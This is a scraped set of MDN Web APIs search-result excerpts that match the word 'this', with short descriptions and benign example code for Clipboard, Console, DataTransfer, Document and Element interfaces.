this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specification specification status comment domthe definition of 'childnode.before()' in that specification.
Clients.openWindow() - Web APIs
as of recently,
this also works on chrome for windows.
...generally
this value must be a url from the same origin as the calling script.
Clipboard.write() - Web APIs
this can be used to implement cut and copy functionality.
... example
this example function replaces the current contents of the clipboard with a specified string.
ClipboardItem - Web APIs
constructor clipboarditem.clipboarditem() creates a new clipboarditem object, with the mime type as the key and blob as the value properties
this interface provides the following properties.
... methods
this interface defines the following methods.
Comment - Web APIs
ref="/docs/web/api/comment" target="_top"><rect x="436" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">comment</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no specific property, but inherits those of its parent, characterdata, and indirectly those of node.
... methods
this interface has no specific method, but inherits those of its parent, characterdata, and indirectly those of node.
CompositionEvent - Web APIs
properties
this interface also inherits properties of its parent, uievent, and its ancestor — event.
... methods
this interface also inherits methods of its parent, uievent, and its ancestor — event.
console.assert() - Web APIs
note:
this feature is available in web workers.
...
this parameter gives you additional control over the format of the output.
console.debug() - Web APIs
note:
this feature is available in web workers.
...
this gives you additional control over the format of the output.
Console.error() - Web APIs
note:
this feature is available in web workers.
...
this gives you additional control over the format of the output.
Console.info() - Web APIs
note:
this feature is available in web workers.
...
this gives you additional control over the format of the output.
Console.time() - Web APIs
note:
this feature is available in web workers.
...
this will identify the timer; use the same name when calling console.timeend() to stop the timer and get the time output to the console.
Console.warn() - Web APIs
note:
this feature is available in web workers.note: in chrome and firefox, warnings have a small exclamation point icon next to them in the web console log.
...
this gives you additional control over the format of the output.
ContentIndex.getAll() - Web APIs
syntax var indexedcontent = contentindex.getall(); parameters
this method receives no parameters.
...can be: '' an empty string,
this is the default.
ContentIndexEvent() - Web APIs
for contentindexevent,
this is always delete.
... examples
this examples constructs a new contentindexevent with the relevant id.
Content Index API - Web APIs
this allows users to discover and view what is available, whilst giving developers the ability to add and manage
this content.
...
this happens when content is removed by the user agent.
CredentialsContainer.store() - Web APIs
the store() method of the credentialscontainer stores a set of credentials for the user inside a credential instance, returning
this in a promise.
...
this method is restricted to top-level contexts.
Crypto.getRandomValues() - Web APIs
exceptions
this method can throw an exception under error conditions.
...there are a few reasons for
this; for example, getrandomvalues() is not guaranteed to be running in a secure context.
CryptoKeyPair - Web APIs
for encryption and decryption algorithms,
this key is used to decrypt.
...for encryption and decryption algorithms,
this key is used to encrypt.
DOMError - Web APIs
invalidmodificationerror the object can not be modified in
this way.
... invalidnodetypeerror the node is incorrect or has an incorrect ancestor for
this operation.
DOMImplementation - Web APIs
property
this interface has no specific property and doesn't inherit any.
...
this function is unreliable and kept for compatibility purpose alone: except for svg-related queries, it always returns true.
DOMLocator - Web APIs
note:
this is not implemented in mozilla indicates a location such as where an error occurred.
... methods
this interface neither implements, nor inherits, any method.
DOMMatrixReadOnly.flipX() - Web APIs
examples
this svg contains two paths in the shape of a triangle, both drawn to the same position.
... <svg width="100" height="100" viewbox="-50 0 100 100"> <path fill="red" d="m 0 50 l 50 0 l 50 100 z" /> <path id="flipped" fill="blue" d="m 0 50 l 50 0 l 50 100 z" /> </svg>
this javascript first creates an identity matrix, then uses the `flipx()` method to create a new matrix, which is then applied to the blue triangle, inverting it across the x-axis.
DOMPoint.fromPoint() - Web APIs
although
this interface is based on dompointreadonly, it is not read-only; the properties within may be changed at will.
... examples creating a mutable point from a read-only point if you have a dompointreadonly object, you can easily create a mutable copy of that point: var mutablepoint = dompoint.frompoint(readonlypoint); creating a 2d point
this sample creates a 2d point, specifying an inline object that includes the values to use for x and y.
DOMPointInit.x - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
... if
this property is missing when the dompointinit object is passed into frompoint(), the value is assumed to be 0 by default.
DOMPointReadOnly.fromPoint() - Web APIs
examples creating a 2d point
this sample creates a 2d point, specifying an inline object that includes the values to use for x and y.
... const point2d = dompointreadonly.frompoint({x: 25, y: 25}) creating a 3d point using an existing point
this example creates a point, origpoint, of type dompoint, using new dompoint().
DOMPointReadOnly.w - Web APIs
if your script needs to be able to change the value of
this property, you should instead use the dompoint object.
...
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
DOMPointReadOnly.x - Web APIs
this property cannot be changed by javascript code in
this read-only version of the dompoint object.
...
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
DOMPointReadOnly.y - Web APIs
if your script needs to be able to change the value of
this property, you should instead use the dompoint object.
...
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
DOMPointReadOnly.z - Web APIs
if your script needs to be able to change the value of
this property, you should instead use the dompoint object.
...
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
DOMTokenList.entries() - Web APIs
the domtokenlist.entries() method returns an iterator allowing you to go through all key/value pairs contained in
this object.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.entries(); for (let value of iterator) { span.textcontent += value + ' ++ '; } the output looks like
this: specifications specification status comment domthe definition of 'entries() (as iterable<node>)' in that specification.
DOMTokenList.keys() - Web APIs
the keys() method of the domtokenlist interface returns an iterator allowing to go through all keys contained in
this object.
... first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.keys(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like
this: specifications specification status comment domthe definition of 'keys() (as iterable<node>)' in that specification.
DOMTokenList.replace() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.replace("c", "z"); console.log(result); if (result) { span.textcontent = classes; } else { span.textcontent = 'token not replaced successfully'; } the output looks like
this: polyfill the following polyfill will add the replace method to the domtokenlist class.
...to use with earlier versions of ie, refer to the polyfill at element.classlist#polyfill domtokenlist.prototype.replace = function (a, b) { if (
this.contains(a)) {
this.add(b);
this.remove(a); return true; } return false; } specifications specification status comment domthe definition of 'replace()' in that specification.
DOMTokenList.supports() - Web APIs
this method is intended to support feature detection.
... example let iframe = document.getelementbyid('display'); if (iframe.sandbox.supports('an-upcoming-feature')) { // support code for mystery future feature } else { // fallback code } if (iframe.sandbox.supports('allow-scripts')) { // instruct frame to run javascript // // (note:
this feature is well-supported;
this is just an example!) // } specifications specification status comment credential management level 1 working draft initial definition.
DataTransfer.files - Web APIs
this feature can be used to drag files from a user's desktop to the browser.
... example there are two live examples of
this interface: firefox only: http://jsfiddle.net/9c2ef/ all browsers: https://jsbin.com/hiqasek/ specifications specification status comment html living standardthe definition of 'files' in that specification.
DataTransfer.items - Web APIs
example
this example shows the use of the items and types properties.
... <!doctype html> <html lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add
this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document...
DataTransfer.setData() - Web APIs
return value void example
this example shows the use of the datatransfer object's getdata(), setdata() and cleardata() methods.
...transfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // clear the drag data cache (for all formats/types) ev.datatransfer.cleardata(); } </script> <body> <h1>examples of <code>datatransfer</code>: <code>setdata()</code>, <code>getdata()</code>, <code>cleardata()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'setdata()' in that specification.
DataTransferItem.getAsString() - Web APIs
example
this example shows the use of the getasstring() method as an inline function in a drop event handler.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { //
this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
DataTransferItem.kind - Web APIs
example
this example shows the use of the kind property.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { //
this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
DataTransferItem.type - Web APIs
example
this example shows the use of the type property.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { //
this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
DataTransferItemList - Web APIs
this interface has no constructor.
... example each of
this interface's methods and properties has a reference page, and each reference page has an example of its usage.
DeviceMotionEvent.acceleration - Web APIs
note: if the hardware doesn't know how to remove gravity from the acceleration data,
this value may not be present in the devicemotionevent.
... in
this situation, you'll need to use devicemotionevent.accelerationincludinggravity instead.
DeviceMotionEventRotationRate: alpha - Web APIs
this property indicates the rate of rotation around the z axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... syntax var alpha = devicerotationrate.alpha;
this property is read-only.
DeviceMotionEventRotationRate: beta - Web APIs
this property indicates the rate of rotation around the x axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... syntax var beta = devicerotationrate.beta;
this property is read-only.
DeviceMotionEventRotationRate: gamma - Web APIs
this property indicates the rate of rotation around the y axis -- in degrees per second -- in a devicemotioneventrotationrate object.
... syntax var gamma = devicerotationrate.gamma;
this property is read-only.
DisplayMediaStreamConstraints.audio - Web APIs
this value may simply be a boolean, where true indicates that an audio track should be included an false (the default) indicates that no audio should be included in the stream.
...
this is left up to the user agent to decide.
DisplayMediaStreamConstraints.video - Web APIs
this value may simply be a boolean, where true specifies that a default selection of input source be made (typically the entire display area of the device in use, spanning every screen in a multiple screen configuration).
...
this may be a single one of the following strings, or a list of them to allow multiple source surfaces: application the stream contains all of the windows of the application chosen by the user rendered into the one video track.
Document.adoptNode() - Web APIs
after calling
this method, importednode and externalnode are the same object.
... best practice: although firefox doesn't currently enforce
this rule, we encourage you to follow
this rule for improved future compatibility.
Document.alinkColor - Web APIs
syntax var color = document.alinkcolor; document.alinkcolor = color; color is a string containing the name of the color (e.g., blue, darkblue, etc.) or the hexadecimal value of the color (e.g., #0000ff) notes the default value for
this property in mozilla firefox is red (#ee0000 in hexadecimal).
... another alternative is document.body.alink, although
this is deprecated in html 4.01 in favor of the css alternative.
Document.all - Web APIs
this was done because of compatibility with older versions of internet explorer.
... more information about
this can be found in
this answer from stackoverflow.
Document.bgColor - Web APIs
example document.bgcolor = "darkblue"; notes the default value for
this property in firefox is white (#ffffff in hexadecimal).
...another alternative is document.body.bgcolor, although
this is also deprecated in html 4.01 in favor of the css alternative.
Document.body - Web APIs
syntax const objref = document.body document.body = objref example // given
this html: <body id="oldbodyelement"></body> alert(document.body.id); // "oldbodyelement" const anewbodyelement = document.createelement("body"); anewbodyelement.id = "newbodyelement"; document.body = anewbodyelement; alert(document.body.id); // "newbodyelement" notes document.body is the element that contains the content for the document.
... in documents with <body> contents, returns the <body> element, and in frameset documents,
this returns the outermost <frameset> element.
Document.characterSet - Web APIs
despite the name of
this property, it returns the encoding.
...
this override is provided to fix incorrect developer-specified encodings that result in garbled text.
Document.contentType - Web APIs
this may come from http headers or other sources of mime information, and might be affected by automatic type conversions performed by either the browser or extensions.
... note:
this property is unaffected by <meta> elements.
Document.createCDATASection() - Web APIs
example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml') var cdata = docu.createcdatasection('some <cdata> data & then some'); docu.getelementsbytagname('xml')[0].appendchild(cdata); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><![cdata[some <cdata> data & then some]]></xml> notes
this will only work with xml, not html documents (as html documents do not support cdata sections); attempting it on an html document will throw not_supported_err.
... will throw a ns_error_dom_invalid_character_err exception if one tries to submit the closing cdata sequence ("]]>") as part of the data, so unescaped user-provided data cannot be safely used without with
this method getting
this exception (createtextnode() can often be used in its place).
Document.createEntityReference() - Web APIs
obsolete since gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4)
this feature is obsolete.
... prior to gecko 7.0
this method showed up as present, due to bug bug 9850, it always only returned null.
Document.createExpression() - Web APIs
this method compiles an xpathexpression which can then be used for (repeated) evaluations.
... firefox 3 note prior to firefox 3, you could call
this method on documents other than the one you planned to run the xpath against.
Document.createNSResolver() - Web APIs
this adapter works like the dom level 3 method lookupnamespaceuri on nodes in resolving the namespaceuri from a given prefix using the current information available in the node's hierarchy at the time lookupnamespaceuri is called.
...to match default elements in a non-null namespace, you either have to refer to a particular element using a form such as *namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid'] (
this approach works well for dynamic xpath expressions where the namespaces might not be known) or use prefixed name tests, and create a namespace resolver mapping the prefix to the namespace.
Document.createTouchList() - Web APIs
note: before gecko 25.0,
this method was defined on the documenttouch mixin.
... example
this example illustrates using the document.createtouchlist() method to create touchlist objects.
Document.currentScript - Web APIs
(for modules use import.meta instead.) it's important to note that
this will not reference the <script> element if the code in the script is being called as a callback or event handler; it will only reference the element while it's initially being processed.
... syntax var curscriptelement = document.currentscript; example
this example checks to see if the script is being executed asynchronously: if (document.currentscript.async) { console.log("executing asynchronously"); } else { console.log("executing synchronously"); } view live examples specifications specification status comment html living standardthe definition of 'document.currentscript' in that specification.
Document.domConfig - Web APIs
note:
this has never been implemented in mozilla, and has been removed from the dom specification.
...
this should return the domconfiguration for the document.
Document: drag event - Web APIs
interface dragevent event handler property ondrag examples see
this code in a jsfiddle demo or interact with it below.
... html <div class="dropzone"> <div id="draggable" draggable="true" ondragstart="event.datatransfer.setdata('text/plain',null)">
this div is draggable </div> </div> <div class="dropzone"></div> <div class="dropzone"></div> <div class="dropzone"></div> css #draggable { width: 200px; height: 20px; text-align: center; background: white; } .dropzone { width: 200px; height: 20px; background: blueviolet; margin-bottom: 10px; padding: 10px; } javascript var dragged; /* events fired on the draggable target */ document.addeventlistener("drag", function(event) { }, false); document.addeventlistener("dragstart", function(event) { // store a ref.
Document.fgColor - Web APIs
example document.fgcolor = "white"; document.bgcolor = "darkblue"; notes the default value for
this property in mozilla firefox is black (#000000 in hexadecimal).
... another alternative is document.body.text, although
this is deprecated in html 4.01 in favor of the css alternative above.
Document.getElementsByClassName() - Web APIs
elements that have a class of 'test', inside of an element that has the id of 'main': document.getelementbyid('main').getelementsbyclassname('test') get the first element with a class of 'test', or undefined if there is no matching element: document.getelementsbyclassname('test')[0] we can also use methods of array.prototype on any htmlcollection by passing the htmlcollection as the method's
this value.
... here we'll find all div elements that have a class of 'test': var testelements = document.getelementsbyclassname('test'); var testdivs = array.prototype.filter.call(testelements, function(testelement){ return testelement.nodename === 'div'; }); get the first element whose class is 'test'
this is the most commonly used method of operation.
Document.importNode() - Web APIs
this default has changed in the latest spec!
... best practice: although firefox doesn't currently enforce
this rule, we encourage you to follow
this rule for improved future compatibility.
Document.lastStyleSheetSet - Web APIs
this property's value changes whenever the document.selectedstylesheetset property is changed.
... note:
this value doesn't change when document.enablestylesheetsforset() is called.
Document.linkColor - Web APIs
this property is deprecated.
...another alternative is document.body.link, although
this is deprecated in html 4.01.
Document.onfullscreenerror - Web APIs
example
this example attempts to call requestfullscreen() outside of an event handler.
... since requestfullscreen() can only be called in response to user action, for security reasons,
this will fail, causing the fullscreenerror to be sent to the document.
Document.ononline - Web APIs
the online and offline events are fired when the value of
this attribute changes.
... it is important to note that
this event and attribute are inherently unreliable.
Document.origin - Web APIs
in most cases,
this property is equivalent to document.defaultview.location.origin.
... syntax var origin = document.origin; examples var origin = document.origin; // on
this page, returns:'https://developer.mozilla.org' var origin = document.origin; // on "about:blank", returns:'null' var origin = document.origin; // on "data:text/html,<b>foo</b>", returns:'null' ...
Document: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
...
this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events.
Document.referrer - Web APIs
the document.referrer property returns the uri of the page that linked to
this page.
...because
this property returns only a string, it doesn't give you document object model (dom) access to the referring page.
Document.registerElement() - Web APIs
note:
this is an experimental technology.
...the mytag variable holds a constructor that you can use to create a my-tag element in the document as follows: document.body.appendchild(new mytag());
this inserts an empty my-tag element that will be visible if you use the browser's developer tools.
Document.requestStorageAccess() - Web APIs
note that
this number is also incremented when automatic access grants are given through our compatibility heuristics.
...the user is never shown a prompt in
this case, and calling requeststorageaccess() won’t have any side effects besides changing the value returned by document.hasstorageaccess().
Document.vlinkColor - Web APIs
notes the default value for
this property in mozilla firefox is purple (#551a8b in hexadecimal).
... another alternative is document.body.vlink, although
this is deprecated in html 4.01 in favor of the css alternative.
Document: wheel event - Web APIs
bubbles yes cancelable yes interface wheelevent event handler property globaleventhandlers.onwheel
this event replaces the non-standard deprecated mousewheel event.
... examples scaling an element via the wheel
this example shows how to scale an element using the mouse (or other pointing device) wheel.
DocumentFragment.querySelectorAll() - Web APIs
note: the definition of
this api was moved to the parentnode interface.
... examples
this example returns a list of all div elements within the documentfragment with a class of either "note" or "alert": var matches = documentfrag.queryselectorall("div.note, div.alert"); specifications specification status comment selectors api level 1the definition of 'documentfragment.queryselectorall' in that specification.
DocumentOrShadowRoot.activeElement - Web APIs
example html <p>select some text from one of the text areas below:</p> <form> <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">
this is text area one.
...donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea> <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">
this is text area two.
DocumentType - Web APIs
every node in
this map implements the entity interface.
...every node in
this map implements the notation interface.
How to create a DOM tree - Web APIs
this page describes how to use the dom core api in javascript to create and modify dom objects.
...on> <person first-name="jed" last-name="brown"> <address street="321 north st" city="atlanta" state="ga" country="usa"/> <address street="123 west st" city="seattle" state="wa" country="usa"/> <address street="321 south avenue" city="denver" state="co" country="usa"/> </person> </people> the w3c dom api, supported by mozilla, can be used to create an in-memory representation of
this document like so: var doc = document.implementation.createdocument("", "", null); var peopleelem = doc.createelement("people"); var personelem1 = doc.createelement("person"); personelem1.setattribute("first-name", "eric"); personelem1.setattribute("middle-initial", "h"); personelem1.setattribute("last-name", "jung"); var addresselem1 = doc.createelement("address"); addresselem1.setattribute("s...
Example - Web APIs
var para = document.getelementsbytagname("p").item(0); para.firstchild.data = "
this is the first paragraph."; // create a new text node for the second paragraph var newtext = document.createtextnode("
this is the second paragraph."); // create a new element to be the second paragraph var newelement = document.createelement("p"); // put the text in the paragraph newelement.appendchild(newtext); // and put the paragraph on the end of the document ...
...by appending it to // the body (which is the parent of para) para.parentnode.appendchild(newelement); } </script> </head> <body> <input type="button" value="change
this document." onclick="change()"> <h1>header</h1> <p>paragraph</p> </body> </head> ...
DragEvent.dataTransfer - Web APIs
this property is read only .
... example
this example illustrates accessing the drag and drop data within the dragend event handler.
EXT_frag_depth - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default.
EcKeyGenParams - Web APIs
this should be set to ecdsa or ecdh, depending on the algorithm you want to use.
...
this may be any of the following names for nist-approved curves: p-256 p-384 p-521 examples see the examples for subtlecrypto.generatekey().
EcKeyImportParams - Web APIs
this should be set to ecdsa or ecdh, depending on the algorithm you want to use.
...
this may be any of the following names for nist-approved curves: p-256 p-384 p-521 examples see the examples for subtlecrypto.importkey().
EcdhKeyDeriveParams - Web APIs
the parameters for ecdh derivekey() therefore include the other entity's public key, which is combined with
this entity's private key to derive the shared secret.
...
this should be set to ecdh.
EcdsaParams - Web APIs
this should be set to ecdsa.
...
this should be one of the following: sha-256: selects the sha-256 algorithm.
EffectTiming.duration - Web APIs
this value must not be negative; otherwise, it can have any value (including positive infinity).
...
this is a forwards-compatiblity measure since in the future, "auto" will be expanded to take into account the duration of any child effects.
Element: DOMMouseScroll event - Web APIs
this event was only implemented by firefox.
... bubbles yes cancelable yes interface mousescrollevent if you want to prevent the default action of mouse wheel events, it's not enough to handle only
this event on gecko because if scroll amount by a native mouse wheel event is less than 1 line (or less than 1 page when the system setting is by page scroll), other mouse wheel events may be fired without
this event.
Element.attachShadow() - Web APIs
this can be one of: open: elements of the shadow root are accessible from javascript outside the root, for example using element.shadowroot: element.shadowroot; // returns a shadowroot obj closed: denies access to the node(s) of a closed shadow root from javascript outside it: element.shadowroot; // returns null delegatesfocus a boolean that, when set t...
... // create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // count words in element's parent element var wcparent =
this.parentnode; function countwords(node){ var text = node.innertext || node.textcontent return text.trim().split(/\s+/g).length; } var count = 'words: ' + countwords(wcparent); // create a shadow root var shadow =
this.attachshadow({mode: 'open'}); // create text node and add word count to it var text = document.createelement('span'); text.textcontent ...
Element.clientLeft - Web APIs
when layout.scrollbar.side preference is set to 1 or to 3 and when the text-direction is set to rtl, then the vertical scrollbar is positioned on the left and
this impacts the way clientleft is computed.
... note:
this property will round the value to an integer.
Element.closest() - Web APIs
for browsers that do not support element.closest(), but carry support for element.matches() (or a prefixed equivalent, meaning ie9+), a polyfill exists: if (!element.prototype.matches) { element.prototype.matches = element.prototype.msmatchesselector || element.prototype.webkitmatchesselector; } if (!element.prototype.closest) { element.prototype.closest = function(s) { var el =
this; do { if (element.prototype.matches.call(el, s)) return el; el = el.parentelement || el.parentnode; } while (el !== null && el.nodetype === 1); return null; }; } however, if you really do require ie 8 support, then the following polyfill will do the job very slowly, but eventually.
... if (window.element && !element.prototype.closest) { element.prototype.closest = function(s) { var matches = (
this.document ||
this.ownerdocument).queryselectorall(s), i, el =
this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {}; } while ((i < 0) && (el = el.parentelement)); return el; }; } specifications specification status comment domthe definition of 'element.closest()' in that specification.
Element: dblclick event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property ondblclick examples
this example toggles the size of a card when you double click on it.
... javascript const card = document.queryselector('aside'); card.addeventlistener('dblclick', function (e) { card.classlist.toggle('large'); }); html <aside> <h3>my card</h3> <p>double click to resize
this object.</p> </aside> css aside { background: #fe9; border-radius: 1em; display: inline-block; padding: 1em; transform: scale(.9); transform-origin: 0 0; transition: transform .6s; } .large { transform: scale(1.3); } result specifications specification status ui eventsthe definition of 'dblclick' in that specification.
Element: focusin event - Web APIs
the main difference between
this event and focus is that focusin bubbles while focus does not.
...eholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specification status comment ui events working draft added info that
this event is composed.
Element: focusout event - Web APIs
the main difference between
this event and blur is that focusout bubbles while blur does not.
...eholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.background = ''; }); result specifications specification status comment ui events working draft added info that
this event is composed.
Element: fullscreenchange event - Web APIs
bubbles yes cancelable no interface event event handler property onfullscreenchange
this event is sent to the element which is transitioning into or out of full-screen mode.
... examples in
this example, a handler for the fullscreenchange event is added to the element whose id is fullscreen-div.
Element.getAttribute() - Web APIs
non-existing attributes essentially all web browsers (firefox, internet explorer, recent versions of opera, safari, konqueror, and icab, as a non-exhaustive list) return null when the specified attribute does not exist on the specified element;
this is what the current dom specification draft specifies.
... the old dom 3 core specification, on the other hand, says that the correct return value in
this case is actually the empty string, and some dom implementations implement
this behavior.
Element: keypress event - Web APIs
since
this event has been deprecated, you should look to use beforeinput or keydown instead.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; launch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example
this example logs the keyboardevent.code value whenever you press a key after focussing the <input> element.
Element.matches() - Web APIs
ple <ul id="birds"> <li>orange-winged parrot</li> <li class="endangered">philippine eagle</li> <li>great white pelican</li> </ul> <script type="text/javascript"> var birds = document.getelementsbytagname('li'); for (var i = 0; i < birds.length; i++) { if (birds[i].matches('.endangered')) { console.log('the ' + birds[i].textcontent + ' is endangered!'); } } </script>
this will log "the philippine eagle is endangered!" to the console, since the element has indeed a class attribute with value endangered.
...lude support for document.queryselectorall(), a polyfill exists: if (!element.prototype.matches) { element.prototype.matches = element.prototype.matchesselector || element.prototype.mozmatchesselector || element.prototype.msmatchesselector || element.prototype.omatchesselector || element.prototype.webkitmatchesselector || function(s) { var matches = (
this.document ||
this.ownerdocument).queryselectorall(s), i = matches.length; while (--i >= 0 && matches.item(i) !==
this) {} return i > -1; }; } however, given the practicality of supporting older browsers, the following should suffice for most (if not all) practical cases (i.e.
Element: mouseleave event - Web APIs
this means that mouseleave is fired when the pointer has exited the element and all of its descendants, whereas mouseout is fired when the pointer leaves the element or leaves one of the element's descendants (even if the pointer is still within the element).
...arget { box-sizing: border-box; width:15rem; border:1px solid #333; } javascript var entereventcount = 0; var leaveeventcount = 0; const mousetarget = document.getelementbyid('mousetarget'); const unorderedlist = document.getelementbyid('unorderedlist'); mousetarget.addeventlistener('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; entereventcount++; addlistitem('
this is mouseenter event ' + entereventcount + '.'); }); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('
this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li e...
Element.onfullscreenerror - Web APIs
example
this example attempts to switch into full-screen mode from outside a handler for a user-initiated event (such as a click or keypress event).
... since full-screen mode changes are only permitted in response to a user input,
this causes an error to occur, which triggers the delivery of the fullscreenerror event to the error handler, let elem = document.queryselector("video")}} elem.onfullscreenerror = function ( event ) { displaywarning("unable to switch into full-screen mode."); }; //....
Element.outerHTML - Web APIs
e value of an element's outerhtml property: html <div id="d"> <p>content</p> <p>further elaborated</p> </div> javascript var d = document.getelementbyid("d"); console.log(d.outerhtml); // the string '<div id="d"><p>content</p><p>further elaborated</p></div>' // is written to the console window replacing a node by setting the outerhtml property: html <div id="container"> <div id="d">
this is a div.</div> </div> javascript var container = document.getelementbyid("container"); var d = document.getelementbyid("d"); console.log(container.firstchild.nodename); // logs "div" d.outerhtml = "<p>
this paragraph replaced the original div.</p>"; console.log(container.firstchild.nodename); // logs "p" // the #d div is no longer part of the document tree, // the new paragraph replaced it.
... document.createelement("div"); div.outerhtml = "<div class=\"test\">test</div>"; console.log(div.outerhtml); // output: "<div></div>" also, while the element will be replaced in the document, the variable whose outerhtml property was set will still hold a reference to the original element: var p = document.getelementsbytagname("p")[0]; console.log(p.nodename); // shows: "p" p.outerhtml = "<div>
this div replaced a paragraph.</div>"; console.log(p.nodename); // still "p"; the returned value will contain html escaped attributes: var anc = document.createelement("a"); anc.href = "https://developer.mozilla.org?a=b&c=d"; console.log(anc.outerhtml); // output: "<a href='https://developer.mozilla.org?a=b&c=d'></a>" specification specification status comment dom...
Element.scrollLeftMax - Web APIs
syntax var pxl = element.scrollleftmax; specifications
this property is not part of any specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
Element.shadowRoot - Web APIs
you'll see that we are passing it
this (the custom element itself) as a parameter.
... connectedcallback() { console.log('custom square element added to page.'); updatestyle(
this); } attributechangedcallback(name, oldvalue, newvalue) { console.log('custom square element attributes changed.'); updatestyle(
this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot.
Element.tabStop - Web APIs
this property was proposed to add tab functionality for custom elements.
...after feedback,
this property was removed from the design doc and replaced by shadowroot.delegatesfocus.
Element: wheel event - Web APIs
this event replaces the non-standard deprecated mousewheel event.
... examples scaling an element via the wheel
this example shows how to scale an element using the mouse (or other pointing device) wheel.
Event() - Web APIs
syntax new event(typearg[, eventinit]); values typearg
this is a domstring representing the name of the event.
... eventinit optional
this is an eventinit dictionary, having the following optional fields: bubbles optional a boolean indicating whether the event bubbles.
Event.bubbles - Web APIs
events that do bubble have
this property set to true.
... you can use
this property to check if an event is allowed to bubble or not.
ExtendableEvent.waitUntil() - Web APIs
this is primarily used to ensure that a service worker is not considered installed until all of the core caches it depends on are successfully populated.
...
this gives the service worker time to update database schemas and delete outdated caches, so other events can rely on a completely upgraded state.
FederatedCredential - Web APIs
in supporting browsers, an instance of
this class may be passed the credential received from the init object for global fetch.
... browser compatibility the compatibility table in
this page is generated from structured data.
FederatedCredential.protocol - Web APIs
if
this property is null, the protocol may be inferred from the federatedcredential.provider property.
... browser compatibility the compatibility table in
this page is generated from structured data.
FederatedCredential - Web APIs
in browsers that support it, an instance of
this interface may be passed in the credential member of the init object for global fetch.
... browser compatibility the compatibility table in
this page is generated from structured data.
FetchEvent.client - Web APIs
note:
